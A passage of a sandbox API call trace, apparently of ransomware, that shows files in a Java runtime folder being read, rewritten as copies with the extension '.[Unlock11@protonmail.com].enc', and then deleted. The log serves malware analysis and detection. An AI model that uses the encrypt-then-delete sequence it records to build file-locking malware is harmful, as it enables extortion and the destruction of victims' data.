[0126.176] GetLastError () returned 0x0 [0126.176] GetCurrentThreadId () returned 0x9b0 [0126.176] GetLastError () returned 0x0 [0126.177] GetFileType (hFile=0x39c) returned 0x1 [0126.177] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.177] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.177] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.177] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.177] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.177] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.177] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.177] GetLastError () returned 0x0 [0126.177] GetCurrentThreadId () returned 0x9b0 [0126.177] GetLastError () returned 0x0 [0126.177] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652d8 | out: hHeap=0x2ad0000) returned 1 [0126.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0126.178] GetLastError () returned 0x0 [0126.178] GetLastError () returned 0x0 [0126.178] GetLastError () returned 0x0 [0126.178] GetLastError () returned 0x0 [0126.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0126.178] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652f8 [0126.178] GetLastError () returned 0x0 [0126.178] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0126.179] GetFileType (hFile=0x3ac) returned 0x1 [0126.179] GetLastError () returned 0x0 [0126.179] GetCurrentThreadId () returned 0x9b0 [0126.179] GetLastError () returned 0x0 [0126.179] GetFileType (hFile=0x3ac) returned 0x1 [0126.179] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.179] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.179] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.179] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.179] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.179] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.180] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.180] GetLastError () returned 0x0 [0126.180] GetCurrentThreadId () returned 0x9b0 [0126.180] GetLastError () returned 0x0 [0126.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652f8 | out: hHeap=0x2ad0000) returned 1 [0126.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2720 | out: hHeap=0x2ad0000) returned 1 [0126.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0126.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.180] GetLastError () returned 0x0 [0126.180] GetLastError () returned 0x0 [0126.180] GetCurrentThreadId () returned 0x9b0 [0126.180] GetLastError () returned 0x0 [0126.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.181] GetLastError () returned 0x0 [0126.181] GetLastError () returned 0x0 [0126.181] GetCurrentThreadId () returned 0x9b0 [0126.181] GetLastError () returned 0x0 [0126.181] GetLastError () returned 0x0 [0126.182] GetLastError () returned 0x0 [0126.183] GetCurrentThreadId () returned 0x9b0 [0126.183] GetLastError () returned 0x0 [0126.183] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652c8 | out: hHeap=0x2ad0000) returned 1 [0126.183] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x84a8) returned 0x37009f8 [0126.183] GetCurrentThreadId () returned 0x9b0 [0126.183] GetLastError () returned 0x0 [0126.183] GetLastError () returned 0x0 [0126.183] GetLastError () returned 0x0 [0126.184] GetLastError () returned 0x0 [0126.184] GetCurrentThreadId () returned 0x9b0 [0126.184] GetLastError () returned 0x0 [0126.184] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37009f8 | out: hHeap=0x2ad0000) returned 1 [0126.184] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0126.184] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0126.184] GetLastError () returned 0x0 [0126.185] GetLastError () returned 0x0 [0126.185] GetCurrentThreadId () returned 0x9b0 [0126.185] GetLastError () returned 0x0 [0126.186] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.186] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.186] GetLastError () returned 0x0 [0126.186] GetLastError () returned 0x0 [0126.186] GetCurrentThreadId () returned 0x9b0 [0126.186] GetLastError () returned 0x0 [0126.186] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.186] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.186] GetLastError () returned 0x0 [0126.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0126.187] CloseHandle (hObject=0x3ac) returned 1 [0126.187] GetLastError () returned 0x0 [0126.187] GetCurrentThreadId () returned 0x9b0 [0126.187] GetLastError () returned 0x0 [0126.187] GetLastError () returned 0x0 [0126.187] CloseHandle (hObject=0x39c) returned 1 [0126.187] GetLastError () returned 0x0 [0126.187] GetCurrentThreadId () returned 0x9b0 [0126.187] GetLastError () returned 0x0 [0126.188] GetLastError () returned 0x0 [0126.188] GetLastError () returned 0x0 [0126.188] GetLastError () returned 0x0 [0126.188] GetLastError () returned 0x0 [0126.188] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 1 [0126.189] GetLastError () returned 0x0 [0126.189] GetCurrentThreadId () returned 0x9b0 [0126.189] GetLastError () returned 0x0 [0126.189] GetCurrentThreadId () returned 0x9b0 [0126.189] GetLastError () returned 0x0 [0126.189] GetLastError () returned 0x0 [0126.190] GetLastError () returned 0x0 [0126.190] GetLastError () returned 0x0 [0126.190] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar", lpFilePart=0x9bada4*="jsse.jar") returned 0x2f [0126.190] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0126.190] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0126.190] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0126.190] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0126.190] GetCurrentThreadId () returned 0x9b0 [0126.190] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.190] GetLastError () returned 0x0 [0126.190] GetLastError () returned 0x0 [0126.191] GetLastError () returned 0x0 [0126.191] GetLastError () returned 0x0 [0126.191] GetCurrentThreadId () returned 0x9b0 [0126.191] GetLastError () returned 0x0 [0126.191] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.191] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.191] GetLastError () returned 0x0 [0126.191] GetLastError () returned 0x0 [0126.191] GetLastError () returned 0x0 [0126.191] GetLastError () returned 0x0 [0126.191] GetCurrentThreadId () returned 0x9b0 [0126.192] GetLastError () returned 0x0 [0126.192] GetCurrentThreadId () returned 0x9b0 [0126.192] GetLastError () returned 0x0 [0126.192] GetLastError () returned 0x0 [0126.192] GetLastError () returned 0x0 [0126.192] GetLastError () returned 0x0 [0126.192] GetCurrentThreadId () returned 0x9b0 [0126.192] GetLastError () returned 0x0 [0126.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.192] GetLastError () returned 0x0 [0126.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0126.193] GetLastError () returned 0x0 [0126.193] GetLastError () returned 0x0 [0126.193] GetLastError () returned 0x0 [0126.193] GetCurrentThreadId () returned 0x9b0 [0126.193] GetLastError () returned 0x0 [0126.193] GetLastError () returned 0x0 [0126.193] GetLastError () returned 0x0 [0126.193] GetLastError () returned 0x0 [0126.193] GetLastError () returned 0x0 [0126.193] GetCurrentThreadId () returned 0x9b0 [0126.193] GetLastError () returned 0x0 [0126.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0126.194] GetLastError () returned 0x0 [0126.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0126.194] GetLastError () returned 0x0 [0126.194] GetLastError () returned 0x0 [0126.194] GetLastError () returned 0x0 [0126.194] GetCurrentThreadId () returned 0x9b0 [0126.194] GetLastError () returned 0x0 [0126.194] GetCurrentThreadId () returned 0x9b0 [0126.194] GetLastError () returned 0x0 [0126.194] GetLastError () returned 0x0 [0126.194] GetLastError () returned 0x0 [0126.195] GetLastError () returned 0x0 [0126.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0126.195] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76f896, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa76f896, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa76f896, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eb80)) returned 1 [0126.195] GetLastError () returned 0x0 [0126.195] GetCurrentThreadId () returned 0x9b0 [0126.195] GetLastError () returned 0x0 [0126.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0126.195] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662e44 | out: pbBuffer=0x3662e44) returned 1 [0126.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0126.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0126.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0126.196] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.196] GetCurrentThreadId () returned 0x9b0 [0126.196] GetLastError () returned 0x0 [0126.196] GetLastError () returned 0x0 [0126.196] GetLastError () returned 0x0 [0126.196] GetCurrentThreadId () returned 0x9b0 [0126.196] GetCurrentThreadId () returned 0x9b0 [0126.197] GetCurrentThreadId () returned 0x9b0 [0126.197] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0126.197] GetFileType (hFile=0x39c) returned 0x1 [0126.197] GetCurrentThreadId () returned 0x9b0 [0126.197] GetFileType (hFile=0x39c) returned 0x1 [0126.197] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.197] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.197] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.198] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.198] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.198] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.198] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.198] GetCurrentThreadId () returned 0x9b0 [0126.198] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0126.198] GetFileType (hFile=0x3ac) returned 0x1 [0126.198] GetCurrentThreadId () returned 0x9b0 [0126.199] GetFileType (hFile=0x3ac) returned 0x1 [0126.199] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.199] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.199] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.199] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.199] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.199] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.199] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.199] GetCurrentThreadId () returned 0x9b0 [0126.199] GetCurrentThreadId () returned 0x9b0 [0126.199] GetCurrentThreadId () returned 0x9b0 [0126.201] GetCurrentThreadId () returned 0x9b0 [0126.201] GetCurrentThreadId () returned 0x9b0 [0126.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.202] GetCurrentThreadId () returned 0x9b0 [0126.203] GetCurrentThreadId () returned 0x9b0 [0126.204] GetCurrentThreadId () returned 0x9b0 [0126.204] GetCurrentThreadId () returned 0x9b0 [0126.204] GetCurrentThreadId () returned 0x9b0 [0126.205] GetCurrentThreadId () returned 0x9b0 [0126.206] GetCurrentThreadId () returned 0x9b0 [0126.206] GetCurrentThreadId () returned 0x9b0 [0126.206] GetCurrentThreadId () returned 0x9b0 [0126.209] GetCurrentThreadId () returned 0x9b0 [0126.209] GetCurrentThreadId () returned 0x9b0 [0126.210] GetCurrentThreadId () returned 0x9b0 [0126.210] GetCurrentThreadId () returned 0x9b0 [0126.211] GetCurrentThreadId () returned 0x9b0 [0126.211] GetCurrentThreadId () returned 0x9b0 [0126.213] GetCurrentThreadId () returned 0x9b0 [0126.213] GetCurrentThreadId () returned 0x9b0 [0126.215] GetCurrentThreadId () returned 0x9b0 [0126.215] GetCurrentThreadId () returned 0x9b0 [0126.215] GetCurrentThreadId () returned 0x9b0 [0126.215] GetCurrentThreadId () returned 0x9b0 [0126.216] GetCurrentThreadId () returned 0x9b0 [0126.216] GetCurrentThreadId () returned 0x9b0 [0126.217] GetCurrentThreadId () returned 0x9b0 [0126.217] GetCurrentThreadId () returned 0x9b0 [0126.218] GetCurrentThreadId () returned 0x9b0 [0126.218] GetCurrentThreadId () returned 0x9b0 [0126.218] GetCurrentThreadId () returned 0x9b0 [0126.218] GetCurrentThreadId () returned 0x9b0 [0126.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0126.219] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.219] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0126.219] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.220] GetCurrentThreadId () returned 0x9b0 [0126.220] GetCurrentThreadId () returned 0x9b0 [0126.220] GetCurrentThreadId () returned 0x9b0 [0126.222] GetCurrentThreadId () returned 0x9b0 [0126.222] GetCurrentThreadId () returned 0x9b0 [0126.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.222] GetCurrentThreadId () returned 0x9b0 [0126.222] CloseHandle (hObject=0x3ac) returned 1 [0126.223] GetLastError () returned 0x0 [0126.223] GetCurrentThreadId () returned 0x9b0 [0126.223] GetLastError () returned 0x0 [0126.223] GetLastError () returned 0x0 [0126.223] CloseHandle (hObject=0x39c) returned 1 [0126.223] GetLastError () returned 0x0 [0126.223] GetLastError () returned 0x0 [0126.223] GetLastError () returned 0x0 [0126.223] GetLastError () returned 0x0 [0126.224] GetLastError () returned 0x0 [0126.224] GetLastError () returned 0x0 [0126.224] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 1 [0126.229] GetLastError () returned 0x0 [0126.229] GetLastError () returned 0x0 [0126.229] GetLastError () returned 0x0 [0126.230] GetLastError () returned 0x0 [0126.230] GetLastError () returned 0x0 [0126.230] GetLastError () returned 0x0 [0126.230] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", lpFilePart=0x9bada4*="jvm.hprof.txt") returned 0x34 [0126.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0126.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0126.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0126.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.230] GetLastError () returned 0x0 [0126.230] GetLastError () returned 0x0 [0126.231] GetLastError () returned 0x0 [0126.231] GetLastError () returned 0x0 [0126.231] GetLastError () returned 0x0 [0126.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.231] GetLastError () returned 0x0 [0126.231] GetLastError () returned 0x0 [0126.231] GetLastError () returned 0x0 [0126.231] GetLastError () returned 0x0 [0126.231] GetLastError () returned 0x0 [0126.231] GetLastError () returned 0x0 [0126.232] GetLastError () returned 0x0 [0126.232] GetLastError () returned 0x0 [0126.232] GetLastError () returned 0x0 [0126.232] GetLastError () returned 0x0 [0126.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.232] GetLastError () returned 0x0 [0126.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0126.232] GetLastError () returned 0x0 [0126.232] GetLastError () returned 0x0 [0126.232] GetLastError () returned 0x0 [0126.233] GetLastError () returned 0x0 [0126.233] GetLastError () returned 0x0 [0126.233] GetLastError () returned 0x0 [0126.233] GetLastError () returned 0x0 [0126.233] GetLastError () returned 0x0 [0126.233] GetLastError () returned 0x0 [0126.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0126.233] GetLastError () returned 0x0 [0126.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0126.233] GetLastError () returned 0x0 [0126.234] GetLastError () returned 0x0 [0126.234] GetLastError () returned 0x0 [0126.234] GetLastError () returned 0x0 [0126.234] GetLastError () returned 0x0 [0126.234] GetLastError () returned 0x0 [0126.234] GetLastError () returned 0x0 [0126.234] GetLastError () returned 0x0 [0126.234] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.234] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1082)) returned 1 [0126.235] GetLastError () returned 0x0 [0126.235] GetLastError () returned 0x0 [0126.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0126.235] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662e94 | out: pbBuffer=0x3662e94) returned 1 [0126.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0126.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.235] GetLastError () returned 0x0 [0126.235] GetLastError () returned 0x0 [0126.235] GetLastError () returned 0x0 [0126.235] GetLastError () returned 0x0 [0126.236] GetLastError () returned 0x0 [0126.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.236] GetLastError () returned 0x0 [0126.236] GetLastError () returned 0x0 [0126.236] GetLastError () returned 0x0 [0126.236] GetLastError () returned 0x0 [0126.236] GetLastError () returned 0x0 [0126.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3df0 | out: hHeap=0x2ad0000) returned 1 [0126.237] GetLastError () returned 0x0 [0126.237] GetLastError () returned 0x0 [0126.237] GetLastError () returned 0x0 [0126.237] GetLastError () returned 0x0 [0126.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652c8 [0126.237] GetLastError () returned 0x0 [0126.237] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0126.238] GetFileType (hFile=0x39c) returned 0x1 [0126.238] GetLastError () returned 0x0 [0126.238] GetLastError () returned 0x0 [0126.238] GetFileType (hFile=0x39c) returned 0x1 [0126.238] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.238] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.238] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.238] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.238] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.238] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.238] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.238] GetLastError () returned 0x0 [0126.239] GetCurrentThreadId () returned 0x9b0 [0126.239] GetLastError () returned 0x0 [0126.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652c8 | out: hHeap=0x2ad0000) returned 1 [0126.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a568 | out: hHeap=0x2ad0000) returned 1 [0126.239] GetLastError () returned 0x0 [0126.239] GetLastError () returned 0x0 [0126.239] GetLastError () returned 0x0 [0126.239] GetLastError () returned 0x0 [0126.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265438 [0126.239] GetLastError () returned 0x0 [0126.240] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0126.240] GetFileType 